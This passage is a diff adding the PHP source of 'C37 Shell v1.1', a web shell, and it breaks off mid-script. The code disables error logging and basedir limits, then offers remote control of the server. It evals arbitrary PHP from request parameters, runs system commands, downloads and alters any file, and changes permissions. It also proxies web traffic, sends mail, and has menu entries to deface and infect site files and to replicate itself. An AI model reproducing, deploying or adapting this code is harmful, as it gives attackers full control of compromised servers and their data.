array('zip','rar','tar','gz','7z','ace','dmg','par','lzo','tgz','uha','z','zoo','r00','arj','bz','bz2','tbz','tbz2','uu','iso','xxe','cab','pbk','uuf','lzh','lha','deb','pkg','sit','zipx'),'lhEAAQANU/AABrRHkDRf9+0wCDUgBXpogBUgBVnoMCTgBTlZkJYVQTE6APZyoqKlwTGq2usWoPJsvP1YCAAKKjpvz9/3MTKyUlJW4ZH/j7/87P0hA1AAAxT8XFHdHRAJGRAJaWALm5AGm//wVitYzvzf++8FMOIGfqvli2//pnxehZtZjX/6Td/7Dk/7v14U3ns4HL/43R/xXfm/+c4j8/PwBMiHXF/8XHzNnb4ACIV5IBWRhNAAA7ZmITGE8AAP///wAAAP///yH5BAEAAD8ALAAAAAAQABAAAAahQFJjRywWG4qfUqKweDgdC+UxnSaVNVKgw/EEDt9w0nGBKBILtDqdOOwqmEmt0BvFYoL86YRqSHw2PRYbOIWGhQU8PzWADRE8kJGSZBAMPpeYmT4/cHIhPSsqKS8uNCAmJhp/gQQbBK8GsQizm4w2MxE6uru7GpSWmpqccTUDPSwiJSUtLTDOGT8MgQAfN9bX1gOb0TYAETng4eHQSjLBwkEAOw==' + ); + for ($i = 0; $i<46; $i += 2) { + if (in_array($_GET['ext'], $ImgArray[$i], TRUE)) { + echo base64_decode('R0lGOD'.$ImgArray[$i+1]);die; + } + } + echo base64_decode($UnKnown); die; + } +} + +if (function_exists('error_reporting')) { error_reporting(0); } +if (function_exists('set_time_limit')) { set_time_limit(0); } +if (function_exists('ini_set')) { ini_set('error_log',NULL); ini_set('log_errors',0); ini_set('file_uploads',1); ini_set('assert.quiet_eval',0); ini_set('allow_url_fopen',1); ini_set('memory_limit','10000M'); ini_set('upload_max_filesize','100000M'); ini_set('max_execution_time',300); ini_set('magic_quotes_sybase',0); ini_set('magic_quotes_runtime',0); ini_set('magic_quotes_gpc',0); ini_set('open_basedir',NULL); } +elseif (function_exists('ini_alter')) { ini_alter('error_log',NULL); ini_alter('log_errors',0); ini_alter('file_uploads',1); ini_alter('allow_url_fopen',1); ini_alter('memory_limit','100000M'); ini_alter('upload_max_filesize','100000M'); ini_set('max_execution_time',300); ini_alter('magic_quotes_sybase',0); ini_alter('magic_quotes_runtime',0); ini_alter('magic_quotes_gpc',0); ini_alter('open_basedir',NULL); } +if (function_exists('get_magic_quotes_gpc')) { + if (get_magic_quotes_gpc() === 1) { + if (isset($_GET)) { for ($i = 0, $Z = count($_GET); $i <= $Z; $i++) { $_GET[$i] = stripslashes($_GET[$i]); } } + if (isset($_POST)) { for ($i = 0, $Z = count($_POST); $i <= $Z; $i++) { $_POST[$i] = stripslashes($_POST[$i]); } } + } +} +if (function_exists('get_magic_quotes_runtime')) { + if (get_magic_quotes_runtime() === 1) { + if (function_exists('magic_quotes_runtime')) { magic_quotes_runtime(FALSE); } + if (function_exists('set_magic_quotes_runtime')) { set_magic_quotes_runtime(FALSE); } + } +} +else { + if (function_exists('magic_quotes_runtime')) { magic_quotes_runtime(FALSE); } + if (function_exists('set_magic_quotes_runtime')) { set_magic_quotes_runtime(FALSE); } +} +if (function_exists('ignore_user_abort')) { ignore_user_abort(FALSE); } +if (!isset($_SERVER)) { $_SERVER = $HTTP_SERVER_VARS; } + +header('Content-Type: text/html; charset=utf-8'); + +if ($_GET['action'] === 'cURLframe') { + session_start(); + if (!empty($_REQUEST['c37url'])) { + $cURLSess = curl_init(); + if (!empty($_GET['c37url'])) { curl_setopt($cURLSess,CURLOPT_URL,base64_decode($_GET['c37url'])); $CurrentWebsite = $_GET['c37url']; } + else { curl_setopt($cURLSess,CURLOPT_URL,$_POST['c37url']); $CurrentWebsite = base64_encode($_GET['c37url']); } + + curl_setopt($cURLSess,CURLOPT_RETURNTRANSFER,TRUE); + curl_setopt($cURLSess,CURLOPT_FOLLOWLOCATION,TRUE); + curl_setopt($cURLSess,CURLOPT_AUTOREFERER,TRUE); + curl_setopt($cURLSess,CURLOPT_BINARYTRANSFER,TRUE); + + if (count($_POST) !== 0) { curl_setopt($cURLSess,CURLOPT_POST,TRUE); curl_setopt($cURLSess,CURLOPT_POSTFIELDS,$_POST); } + + if (!isset($_SESSION['UA']) && isset($_POST['UA'])) { $_SESSION['UA'] = $_POST['UA']; } + curl_setopt($cURLSess, CURLOPT_USERAGENT,$_SESSION['UA']); + + $Page = curl_exec($cURLSess); + + /* + $For = 'http'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') { $For .= 's'; } $Base = '<base href="'.$For.'://'.$_SERVER['SERVER_NAME'].':'.$_SERVER['SERVER_PORT'].htmlspecialchars($_SERVER['PHP_SELF']).'" />'; + $Page = preg_replace('/(<\/head\s*>)/Us',$Base.'${1}',$Page); + + $Page = preg_replace('/(<body.*>)/Us','${1}<div style="color:#16387C;background-color:white;text-align:center;"><form method="post">Web Proxy | <a href="?" style="color:#16387C;">Retrun to shell<a> | Go to: <input type="text" size="46" name="c37url" id="c37url" /> <input type="submit" value="Browse" /></form></div>',$Page); + */ + + header('Content-type: '.curl_getinfo($cURLSess,CURLINFO_CONTENT_TYPE)); + $type = curl_getinfo($cURLSess,CURLINFO_CONTENT_TYPE); + if (empty($type) || strpos($type,'text/html') !== FALSE || strpos($type,'application/xhtml+xml') !== FALSE || strpos($type,'application/xml') !== FALSE) { + $For = 'http'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') { $For .= 's'; } + $Href = $For.'://'.$_SERVER['SERVER_NAME'].':'.$_SERVER['SERVER_PORT'].$_SERVER['PHP_SELF'].'?action=cURLframe&c37url='; + + $doc = new DOMDocument; + $doc->loadHTML($Page); + + $items = $doc->getElementsByTagName('a'); + + for ($i = 0; $i < $items->length; $i++) { + $CurItem = $items->item($i); + if ($CurItem->hasAttribute('href')) { + $Attribute = $CurItem->getAttribute('href'); + if ($Attribute[0] === '/') { $CurItem->setAttribute('href',$Href.$CurrentWebsite.base64_encode($Attribute)); } + else { $CurItem->setAttribute('href',$Href.base64_encode($Attribute)); } + } + } + + $items = $doc->getElementsByTagName('form'); + + for ($i = 0; $i < $items->length; $i++) { + $CurItem = $items->item($i); + if ($CurItem->hasAttribute('action')) { + $Attribute = $CurItem->getAttribute('action'); + if ($Attribute[0] === '/') { $CurItem->setAttribute('action',$Href.$CurrentWebsite.base64_encode($Attribute)); } + else { $CurItem->setAttribute('action',$Href.base64_encode($Attribute)); } + } + } + + $items = $doc->getElementsByTagName('img'); + + for ($i = 0; $i < $items->length; $i++) { + $CurItem = $items->item($i); + if ($CurItem->hasAttribute('src')) { + $CurItem->setAttribute('src',$Href.base64_encode($CurItem->getAttribute('src'))); + } + } + + echo $doc->saveHTML(); + } + else { echo $Page; } + curl_close($cURLSess); + die; + } +} + +$ShowFiles = TRUE; +if (isset($_GET['dir'])) { + if (!chdir($_GET['dir'])) { $ShowFiles = FALSE; } +} +$CDIR = getcwd(); +if ($CDIR[strlen($CDIR)-1] !== DIRECTORY_SEPARATOR) { $CDIR .= DIRECTORY_SEPARATOR; } +$SCDIR = urlencode($CDIR); + +if ($IsAction) { + if ($_GET['action'] === 'info') { phpinfo(); die; } + if ($_GET['action'] === 'download') { + if (is_readable($_GET['file'])) { + header('Content-Description: File Transfer'); + header('Pragma: public'); + header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); + header('Cache-Control: private',false); + header('Expires: 0'); + $B='Content-Type: '; + if (class_exists('finfo')) { + $finfo = new finfo(FILEINFO_MIME); + $B .= $finfo->file($_GET['file']); + } + elseif (function_exists('mime_content_type')) { $B .= mime_content_type($_GET['file']); } + elseif (function_exists('apache_lookup_uri')) { $Info = apache_lookup_uri($_GET['file']); $B .= $Info->content_type; } + else { $B .= 'application/download'; } + header($B); + header('Content-Disposition: attachment; filename="'.$_GET['file'].'"'); + header('Content-Transfer-Encoding: binary'); + header('Content-Length: '. sprintf('%u', filesize($_GET['file']))); + if (function_exists('readfile')) { readfile($_GET['file']); } + elseif (function_exists('file_get_contents')) { + echo file_get_contents($_GET['file']); + } + elseif (function_exists('fread') && function_exists('fopen')) { + $handle = fopen($_GET['file'], 'rb'); + echo fread($handle,sprintf('%u',filesize($_GET['file']))); + fclose($handle); + } + elseif (function_exists('fgets') && function_exists('fopen')) { + $handle = fopen($_GET['file'], 'rb'); + $contents = ''; $Line = ''; + do { + $Line = fgets($handle,sprintf('%u',filesize($_GET['file']))); + $contents .= $Line; + } while ($Line !== FALSE); + echo $contents; + fclose($handle); + } + elseif (function_exists('fgetc') && function_exists('fopen')) { + $handle = fopen($_GET['file'], 'rb'); + $contents = ''; $Character = ''; + do { + $Character = fgetc($handle,sprintf('%u',filesize($_GET['file']))); + $contents .= $Character; + } while ($Character !== FALSE); + echo $contents; + fclose($handle); + } + die; + } + else { echo 'Are you kidding me?!<br />This file does not exist or is not readable...'; die; } + } + if ($_GET['action'] === 'getfile') { if (!readfile($_GET['file'])) { echo file_get_contents($_GET['file']); } die; } + if ($_GET['action'] === 'printimg') { echo '<html><head></head><body><img src="?action=getfile&amp;file=',$SCDIR,urlencode($_GET['file']),'" /><script type="text/javascript">window.print();</script></body></html>'; die; } +} + +$IsWIN = strtoupper(substr(PHP_OS,0,3)) === 'WIN'; + +echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"',"\r\n\t",'"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">',"\r\n", +'<html lang="en-US" xml:lang="en-US" xmlns="http://www.w3.org/1999/xhtml"> + <head> + <meta http-equiv="cache-control" content="Private,no-Store" /> + <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> + <meta name="robots" content="nofollow,noindex,noarchive" /> + <meta http-equiv="Content-Script-Type" content="text/javascript" /> + <meta http-equiv="Content-Style-Type" content="text/css" /> + <title>:: C37 Shell v1.1 - ',$_SERVER['SERVER_NAME'],' ::</title> + <style type="text/css"> + /*<![CDATA[*/ + body{background-color:black;color:#E5E5E5;font-size:11px;font-family:Tahoma,Verdana,Arial,Helvetica;text-align:center; } + a {color:#F5F5F5;text-decoration:none; } + a:hover {text-decoration:underline;color:red; } + img {border-width:0px;outline:none; } + input,textarea,button {color:#FFFFFF;background-color:#8B0000;border:1px solid; } + input[type="checkbox"] {border:0px;background-color:transparent; } + button,input[type="submit"] {-moz-border-radius-bottomright:4px;-webkit-border-bottom-right-radius:4px; } + table.RightPad td {padding-right:55px;color:#E5E5E5; } + table.NoPad td {padding-right:0px;vertical-align:middle;margin-left:-2px; } + textarea:hover {border-color:gray; } + fieldset {border:1px solid white; } + ::-moz-selection {background: #ff6161; } + ::selection {background: #ff6161; } + div,textarea,body{scrollbar-face-color:#8B0000;scrollbar-highlight-color:#FFFFFF;scrollbar-track-color:#000000;scrollbar-arrow-color:#FFFFFF; } + legend{color:#DB0000; } + select { color:white; background-color:black; } + /*]]>*/ + </style> + <base href="'; $For = 'http'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') { $For .= 's'; } echo $For,'://',$_SERVER['SERVER_NAME'],':',$_SERVER['SERVER_PORT']; if (urldecode($_SERVER['REQUEST_URI']) !== $_SERVER['PHP_SELF'] . '?') { echo htmlspecialchars($_SERVER['REQUEST_URI']); } else { echo htmlspecialchars($_SERVER['PHP_SELF']); }; echo '" /> + </head> + <body> + <center style="background-color:#1C1C1C;border: 1px solid red;margin: 1em;padding: 1em 3em;position: relative;">'; + if (!$ShowFiles) { + echo '<div style="background-color:#1C1C1C;"> + <font color="red">:: Error While Changing Directory :: (Could not Open ',htmlspecialchars($_GET['dir']),')</font>'; + GetLastError(); + echo '</div> + <br /><br /> + <button title="Go Back in history (using JavaScript)" onclick="window.history.go(-1)">Go Back?</button> + <br /><br />'; + } +echo '<div style="color:#E5E5E5;border-bottom: 1px solid #999;overflow:auto;max-width:100%;"> + <table> + <tr> + <td title="Server Details" style="text-align:left;"> + <b>Server Signature</b>: '; + if (!empty($_SERVER['SERVER_SIGNATURE'])) { echo $_SERVER['SERVER_SIGNATURE'],'<br />'; } + elseif (!empty($_SERVER['SERVER_SOFTWARE'])) { echo $_SERVER['SERVER_SOFTWARE'],'<br />'; } + elseif (function_exists('apache_get_version')) { echo apache_get_version(),'<br />'; } + echo '<b>System</b>: '; + if (function_exists('php_uname')) { echo php_uname('a'); } + elseif (function_exists('posix_uname')) { + foreach (posix_uname() AS $key => $value) { echo $value,' '; } + } + elseif (function_exists('system') || function_exists('passthru') || function_exists('shell_exec') || function_exists('exec') || function_exists('popen')) { + if ($IsWIN) { + if (function_exists('system')) { system('ver'); } + elseif (function_exists('shell_exec')) { echo shell_exec('ver'); } + elseif (function_exists('exec')) { $ExecArray = array(); exec('ver',$ExecArray); foreach ($ExecArray AS $Line) { echo $Line; } } + elseif (function_exists('passthru')) { passthru('ver'); } + elseif (function_exists('popen')) { $Read=''; $Handle = popen('ver','r'); while ($Read = fread($Handle,2096)) { echo $Read; } pclose($Handle); } + } + else { + if (function_exists('system')) { system('uname -a'); } + elseif (function_exists('shell_exec')) { echo shell_exec('uname -a'); } + elseif (function_exists('exec')) { $ExecArray = array(); exec('uname -a',$ExecArray); foreach ($ExecArray AS $Line) { echo $Line; } } + elseif (function_exists('passthru')) { passthru('uname -a'); } + elseif (function_exists('popen')) { $Read=''; $Handle = popen('uname -a','r'); while ($Read = fread($Handle,2096)) { echo $Read; } pclose($Handle); } + } + } + elseif (function_exists('curl_version')) { + $cURLinfo = curl_version(); + echo $cURLinfo['host']; + } + else { echo PHP_OS; } + echo '<br /><br /> + <a href="?action=info" title="phpinfo()" target="_blank" style="text-decoration:underline;"> + <b>PHP Version</b>: ',PHP_VERSION, + '</a>'; + if (function_exists('php_sapi_name')) { echo ' (',php_sapi_name(),')'; } + elseif (is_defined('PHP_SAPI')) { echo ' (',PHP_SAPI,')'; } + echo ' <b>Zend Version</b>: ',zend_version(), + '<br /> + <b>Safe Mode</b>: + <font color="'; + echo ((ini_get('safe_mode')||strtolower(ini_get('safe_mode')) === 'on') ? 'red">ON (Secure)' : 'green">OFF (Not Secure)') + ,'</font> + [<a style="text-decoration:underline;" href="?action=eval&amp;code=echo \'&lt;h3>Disabled Functions:&lt;/h3&gt;\',@ini_get(\'disable_functions\'),\'&lt;h3&gt;Disabled Classes:&lt;/h3&gt;\',@ini_get(\'disable_classes\');" target="_blank" title="Show PHP Disabled Functions&amp;Classes (php.ini)">Disabled Functions&Classes</a>] + <br />'; + if (!$IsWIN) { + if (function_exists('system') || function_exists('passthru') || function_exists('shell_exec') || function_exists('exec') || function_exists('popen')) { + if (function_exists('system')) { system('id'); } + elseif (function_exists('shell_exec')) { echo shell_exec('id'); } + elseif (function_exists('exec')) { $ExecArray = array(); exec('id',$ExecArray); foreach ($ExecArray AS $Line) { echo $Line; } } + elseif (function_exists('passthru')) { passthru('id'); } + elseif (function_exists('popen')) { $Read=''; $Handle = popen('id','r'); while ($Read = fread($Handle,2096)) { echo $Read; } pclose($Handle); } + } + else { + if (function_exists('getmyuid')) { $UID = getmyuid(); } + elseif (function_exists('fileowner')) { $UID = fileowner(__FILE__); } + if (isset($UID)) { + echo '<b>UID</b>: ', $UID; + if (function_exists('posix_getpwuid')) { $ID = posix_getpwuid($UID); echo ' (',$ID['name'],')'; } + elseif (function_exists('get_current_user')) { echo ' (',get_current_user(),')'; } + } + else { if (function_exists('get_current_user')) { echo '<b>User:</b> ',get_current_user(),')'; } } + + if (function_exists('getmygid')) { $GID = getmygid(); } + elseif (function_exists('filegroup')) { $GID = filegroup(__FILE__); } + elseif (isset($ID['gid'])) { $GID = $ID['gid']; } + if (isset($GID)) { + echo ' <b>GID</b>: ', $GID; + if (function_exists('posix_getgrgid')) { $ID = posix_getgrgid($GID); echo ' (',$ID['name'],')'; } + } + } + } + else { + echo '<a style="text-decoration:underline;" href="?action=eval&amp;code=echo\'&lt;b&gt;Drives:&lt;/b&gt; \';foreach(range(\'A\',\'Z\') AS $DRIVE) { if(is_dir($DRIVE.\':\\\\\')) { echo\'&lt;a href=\\\'?dir=\',$DRIVE,\':\\\'&gt;[\',$DRIVE,\']&lt;/a&gt; \'; }}" target="_blank">[VIEW DRIVES]</a>'; + if (function_exists('getenv')) { + echo ' <b>Logged User:</b> ',getenv('USERNAME'); + } + if (function_exists('get_current_user')) { + echo ' (<b>Owner</b>: ',get_current_user(),')'; + } + } + if (function_exists('getmypid')) { echo ' <b>PID</b>: ' . getmypid(); } + echo '<br /> + <b>Server IP</b>: ',$_SERVER['SERVER_ADDR'], + ' - <b>Host</b>: ',gethostbyaddr($_SERVER['SERVER_ADDR']), + '<br /><b>Port</b>: ',$_SERVER['SERVER_PORT'], + ' - <b>Admin</b>: ',$_SERVER['SERVER_ADMIN']; + $T = array('Bytes','KiB','MiB','GiB','TiB','PiB','EiB','ZiB','YiB'); + $i = 0; $B = diskfreespace($CDIR); $A = disk_total_space($CDIR); + while ($B>=1024) { $B/=1024;++$i; } + $Space1=$T[$i]; $i = 0; + while ($A>=1024) { $A/=1024;++$i; } + $Space2=$T[$i]; + printf('<br /><br /><b>Free Disk Space: %.3f %s Out of %.3f %s (%.2f%%)',$B,$Space1,$A,$Space2,($B/$A) * 100); + array_shift($T); + echo '</b> + <br /><br /> + <form action="" method="get" id="Go" style="font-weight:bold;"> + <input type="text" id="dir" name="dir" value="',$CDIR,'" style="width:270px;background-color:#000000;border-width:0px;margin-right:3px;" /> + <a onclick="javascript:document.getElementById(\'Go\').submit();" style="cursor:pointer;" title="Go to Directory">Enter</a> [<a href="?action=file&amp;act=chmod&amp;file=',urlencode($CDIR),'&amp;dir=',$SCDIR,'"><font'; + $A = GetPerms($CDIR); $B = substr($A,7); + if ($B === '--x' || $B === '---') { echo ' color="red">'; } else { echo ' color="green">'; } + echo $A.'</font></a>]</form>'; + echo '</td> + <td style="padding-left:60px;" title="C37"> + <a href="?dir=',$SCDIR,'" style="outline:0;"><img src="?action=img&amp;image=c37" width="307" height="161" alt="C37 Shell" title="Go to the file explorer" /></a> + </td> + </tr> + </table> + <strong style="font-size:12px;"> + <img title="Go back in history (Using JavaScript)" src="?action=img&amp;image=backb" width="20" height="20" onclick="javascript:window.history.go(-1)" alt="Back" /> + <img title="Go forward in history (Using JavaScript)" src="?action=img&amp;image=forwardb" width="20" height="20" onclick="javascript:window.history.go(1)" alt="Forward" /> + [<a title="Return to \'',dirname(__FILE__),'\'" href="?">Home</a>] + [<a title="Find Files and Directories" href="?action=search&amp;dir=',$SCDIR; if (isset($_GET['search'])) { echo '&amp;',urlencode($_GET['search']); } if (isset($_GET['type'])) { echo '&amp;',urlencode($_GET['type']); } if (isset($_GET['casein'])) { echo '&amp;',urlencode($_GET['casein']); } echo '">Search</a>] + [<a title="Encode & calculate hashsums of a string, convert number bases and more" href="?action=encoder&amp;dir=',$SCDIR,'">Encoder</a>] + [<a title="execute PHP Code" href="?action=eval&amp;dir=',$SCDIR,'">Eval</a>] + [<a title="Send E-Mail From this Server" href="?action=mailer&amp;dir=',$SCDIR,'">Mail</a>] + [<a title="Determine the type of a specific Hash" href="?action=HashAnalyzer&amp;dir=',$SCDIR,'">Hash Analyzer</a>]'; + /* [<a title="Manage SQL Server" href="?action=ManSQL&amp;dir=',$SCDIR,'">SQL Man.</a>] */ + echo ' [<a title="Change content of the files in the Directory" href="?action=MassDeface&amp;dir=',$SCDIR,'">Deface &amp; Infect</a>] + [<a title="Make another copy of the shell" href="?action=Replicator">Replicate</a>] '; + /* [<a title="Use this server as a proxy server" href="?action=Proxy">Proxy</a>] */ + echo '[<a title="Set password for the shell" href="?action=passset">Password</a>] + [<span title="Delete the shell from the server" style="color:red;" onmouseover="this.style.textDecoration = \'underline\';this.style.cursor = \'pointer\';" onmouseout="this.style.textDecoration = \'none\';" onclick="javascript:var Ans = confirm(\'Are you sure?\'); if (Ans == 1) { window.location = \'?action=selfremove\'; }">Remove Shell</span>] + </strong> + <br /><br /> +</div> +<br /><br />',"\r\n"; + +if ($IsAction) { + if ($_GET['action'] === 'eval') { + if (isset($_REQUEST['code'])) { + $NA = substr($_REQUEST['code'], 0, 2); + if (substr($_REQUEST['code'], 0, 5) === '<?php') { $_REQUEST['code'] = substr($_REQUEST['code'], 5); } + elseif ($NA === '<?' || $NA === '<%') { $_REQUEST['code'] = substr($_REQUEST['code'], 2); } + $ND = substr($_REQUEST['code'], strlen($_REQUEST['code']) -2); + if ($ND === '?>' || $ND === '%>') { $_REQUEST['code'] = substr($_REQUEST['code'], 0, -2); } + } + if (isset($_POST['highlight']) && (function_exists('highlight_string') || function_exists('show_source'))) { + echo '<h3>Highlighted code:</h3> + <div style="overflow:auto;max-height:320px;background-color:white;text-align:left;padding:2px;">'; + if (function_exists('highlight_string')) { highlight_string("<?php\r\n".$_REQUEST['code']."\r\n?>"); } + else { show_source("<?php\r\n".$_REQUEST['code']."\r\n?>"); } + echo '</div>'; + } + if (isset($_REQUEST['code']) && !isset($_POST['textarea'])) { + echo '<div style="text-align:left;">',eval($_REQUEST['code']),'</div>'; + } + else { + echo '<form action="" method="post"><h3>PHP Code'; if (isset($_REQUEST['code'])) { echo ' Results'; } echo ':</h3><textarea name="code" id="code" cols="90" rows="15" spellcheck="false">'; + if (isset($_REQUEST['code'])) { + echo $_REQUEST['code'], '</textarea><br /><textarea cols="90" rows="15" readonly="readonly" spellcheck="false">', eval($_REQUEST['code']) , '</textarea>'; + } + else { echo '</textarea>'; } + echo '<br /><br /> + <input type="submit" value="Exec Code" /> + Results in TextArea? <input type="checkbox" checked="checked" name="textarea" id="textarea" />'; + if (function_exists('highlight_string') || function_exists('show_source')) { echo ' Highlight code <input type="checkbox" name="highlight" id="highlight"'; if (isset($_POST['highlight'])) { echo ' checked="checked"'; } echo ' />'; } + echo '</form> + <br /><br />If you don\'t see any output from the script when you should, please check it for Errors.'; + } + } + elseif ($_GET['action'] === 'file' && $ShowFiles) { + if (is_file($_GET['file']) || ($_REQUEST['act'] === 'chmod' && is_dir($_GET['file']))) { + if (!function_exists('file_get_contents')) { + function file_get_contents($File) { + $handle = fopen($File, 'rb'); + $contents = fread($handle,sprintf('%u',filesize($File))); + fclose($handle); + return $contents; + } + } + if (isset($_REQUEST['act'])) { + if ($_REQUEST['act'] === 'rename') { + if (isset($_REQUEST['name'])) { + echo 'File Renaming - <font '; + if (rename($_GET['file'],$_REQUEST['name'])) { echo 'color="green">Was Successful.'; } + else { echo 'color="red">Failed.'; } + echo '</font>'; + } + else { + echo '<h3>Rename\Move \'',htmlspecialchars($_GET['file']),'\' To:</h3> + <form method="post" action="?action=file&amp;act=rename&amp;file=',urlencode($_GET['file']),'&amp;dir=',$SCDIR,'"> + <input type="text" id="name" name="name" /> + <input type="submit" value="Rename" /> + </form>'; + } + } + elseif ($_GET['act'] === 'stat') { + $Stat = stat($_GET['file']); + echo '<h3>',htmlspecialchars($_GET['file']),'</h3> + <table border="1" cellspacing="1" cellpadding="3"> + <tr> + <td> + <b>Device Number</b> + </td> + <td>',$Stat['dev'],'</td> + </tr> + <tr> + <td> + <b>Inode Number</b> + </td> + <td>',$Stat['ino'],'</td> + </tr> + <tr> + <td> + <b>Inode protection mode</b> + </td> + <td>',$Stat['mode'],'</td> + </tr> + <tr> + <td> + <b>Number of Links</b> + </td> + <td>',$Stat['nlink'],'</td> + </tr> + <tr> + <td> + <b>User ID</b> + </td> + <td>',$Stat['uid'],'</td> + </tr> + <tr> + <td> + <b>Group ID</b> + </td> + <td>',$Stat['gid'],'</td> + </tr> + <tr> + <td> + <b>Device type, if inode device</b> + </td> + <td>',$Stat['rdev'],'</td> + </tr> + <tr> + <td> + <b>Size in Bytes</b> + </td> + <td>',$Stat['size'],'</td> + </tr> + <tr> + <td> + <b>Time of last access</b> + </td> + <td>',$Stat['atime'],' (',date('F d Y H:i:s.',$Stat['atime']),')</td> + </tr> + <tr> + <td> + <b>Time of last modification</b> + </td> + <td>',$Stat['mtime'],' (',date('F d Y H:i:s.',$Stat['mtime']),')</td> + </tr> + <tr> + <td> + <b>Time of last inode change</b> + </td> + <td>',$Stat['ctime'],' (',date('F d Y H:i:s.',$Stat['ctime']),')</td> + </tr> + <tr> + <td> + <b>Blocksize of filesystem IO</b> + </td> + <td>',$Stat['blksize'],'</td> + </tr> + <tr> + <td style="padding-right:20px;"> + <b>Number of 512-byte blocks allocated</b> + </td> + <td>',$Stat['blocks'],'</td> + </tr> + </table>'; + } + elseif ($_GET['act'] === 'chmod') { + if (isset($_POST['Perms'])) { + echo 'Changed File permissions - <font '; + if (chmod($_GET['file'],base_convert((int)$_POST['Perms'], 8, 10))) { echo 'color="green">successfully (new file permissions: ',substr(sprintf('%o',fileperms($_REQUEST['file'])),-3),').'; } + else { echo 'color="red">unsuccessfully.'; } + echo '</font>'; + } + else { + $Permissions = substr(sprintf('%o',fileperms($_REQUEST['file'])),-3); + echo '<h3>Change \'',htmlspecialchars($_GET['file']),'\' Permissions to:</h3> + <form method="post" action="?action=file&amp;act=chmod&amp;file=',urlencode($_GET['file']),'&amp;dir=',$SCDIR,'"> + <input type="text" size="4" id="Perms" name="Perms" maxlength="3" onkeyup="javascript:ConfigureCheckBoxesPermissions();" value="',$Permissions,'" /> + <input type="submit" value="Chmod" /></form><br /><table><tr><th></th><th>r</th><th>w</th><th>x</th></tr> + <tr><th>Owner:</th><td><input type="checkbox" onclick="javascript:ConfigurePermissions(\'o\');" id="or"'; if ($Permissions[0] >= '4') { echo ' checked="checked"'; } echo ' /></td><td><input type="checkbox" onclick="javascript:ConfigurePermissions(\'o\');" id="ow"'; if ($Permissions[0] === '2' || $Permissions[0] === '3' || $Permissions[0] >= '6') { echo ' checked="checked"'; } echo ' /></td><td><input type="checkbox" onclick="javascript:ConfigurePermissions(\'o\');" id="ox"'; if ($Permissions[0] === '1' || $Permissions[0] === '3' || $Permissions[0] === '5' || $Permissions[0] === '7') { echo ' checked="checked"'; } echo ' /></td></tr> + <tr><th>Group:</th><td><input type="checkbox" onclick="javascript:ConfigurePermissions(\'g\');" id="gr"'; if ($Permissions[1] >= '4') { echo ' checked="checked"'; } echo ' /></td><td><input type="checkbox" onclick="javascript:ConfigurePermissions(\'g\');" id="gw"'; if ($Permissions[1] === '2' || $Permissions[1] === '3' || $Permissions[1] >= '6') { echo ' checked="checked"'; } echo ' /></td><td><input type="checkbox" onclick="javascript:ConfigurePermissions(\'g\');" id="gx"'; if ($Permissions[1] === '1' || $Permissions[1] === '3' || $Permissions[1] === '5' || $Permissions[1] === '7') { echo ' checked="checked"'; } echo ' /></td></tr> + <tr><th>Others:</th><td><input type="checkbox" onclick="javascript:ConfigurePermissions(\'u\');" id="ur"'; if ($Permissions[2] >= '4') { echo ' checked="checked"'; } echo ' /></td><td><input type="checkbox" onclick="javascript:ConfigurePermissions(\'u\');" id="uw"'; if ($Permissions[2] === '2' || $Permissions[2] === '3' || $Permissions[2] >= '6') { echo ' checked="checked"'; } echo ' /></td><td><input type="checkbox" onclick="javascript:ConfigurePermissions(\'u\');" id="ux"'; if ($Permissions[2] === '1' || $Permissions[2] === '3' || $Permissions[2] === '5' || $Permissions[2] === '7') { echo ' checked="checked"'; } echo ' /></td></tr> + </table><br />On Windows, The only permissions allowed for files are 666&444.<br />666 for writeable\readable and 444 for readable.<br /> + <script type="text/javascript"> + function ConfigurePermissions(user) { + var NewPermsValue = document.getElementById(\'Perms\').value; + var NewPermDigit = 0; + if (!document.getElementById(user + \'x\').checked && !document.getElementById(user + \'r\').checked && !document.getElementById(user + \'w\').checked) { NewPermDigit = \'0\'; } + else if (document.getElementById(user + \'x\').checked && !document.getElementById(user + \'r\').checked && !document.getElementById(user + \'w\').checked) { NewPermDigit = \'1\'; } + else if (!document.getElementById(user + \'x\').checked && !document.getElementById(user + \'r\').checked && document.getElementById(user + \'w\').checked) { NewPermDigit = \'2\'; } + else if (document.getElementById(user + \'x\').checked && !document.getElementById(user + \'r\').checked && document.getElementById(user + \'w\').checked) { NewPermDigit = \'3\'; } + else if (!document.getElementById(user + \'x\').checked && document.getElementById(user + \'r\').checked && !document.getElementById(user + \'w\').checked) { NewPermDigit = \'4\'; } + else if (document.getElementById(user + \'x\').checked && document.getElementById(user + \'r\').checked && !document.getElementById(user + \'w\').checked) { NewPermDigit = \'5\'; } + else if (!document.getElementById(user + \'x\').checked && document.getElementById(user + \'r\').checked && document.getElementById(user + \'w\').checked) { NewPermDigit = \'6\'; } + else if (document.getElementById(user + \'x\').checked && document.getElementById(user + \'r\').checked && document.getElementById(user + \'w\').checked) { NewPermDigit = \'7\'; } + if (user === \'o\') { document.getElementById(\'Perms\').value = NewPermDigit + NewPermsValue[1] + NewPermsValue[2]; } + else if (user === \'g\') { document.getElementById(\'Perms\').value = NewPermsValue[0] + NewPermDigit + NewPermsValue[2]; } + else { document.getElementById(\'Perms\').value = NewPermsValue[0] + NewPermsValue[1] + NewPermDigit; } + + } + function ConfigureCheckBoxesPermissions() { + var i = 0; var PermDigit = 0; var PermCheck = \'\'; + for (;i<3;i++) { + PermDigit = document.getElementById(\'Perms\').value[i]; + if (i === 0) { PermCheck = \'o\'; } + else if (i === 1) { PermCheck = \'g\'; } + else { PermCheck = \'u\'; } + + if (PermDigit >= \'4\' && PermDigit < \'8\') { document.getElementById(PermCheck + \'r\').setAttribute(\'checked\',\'checked\'); } + else { document.getElementById(PermCheck + \'r\').removeAttribute(\'checked\'); } + + if (PermDigit === \'2\' || PermDigit === \'3\' || (PermDigit >= \'6\' && PermDigit < \'8\')) { document.getElementById(PermCheck + \'w\').setAttribute(\'checked\',\'checked\'); } + else { document.getElementById(PermCheck + \'w\').removeAttribute(\'checked\'); } + + if (PermDigit === \'1\' || PermDigit === \'3\' || PermDigit === \'5\' || PermDigit === \'7\') { 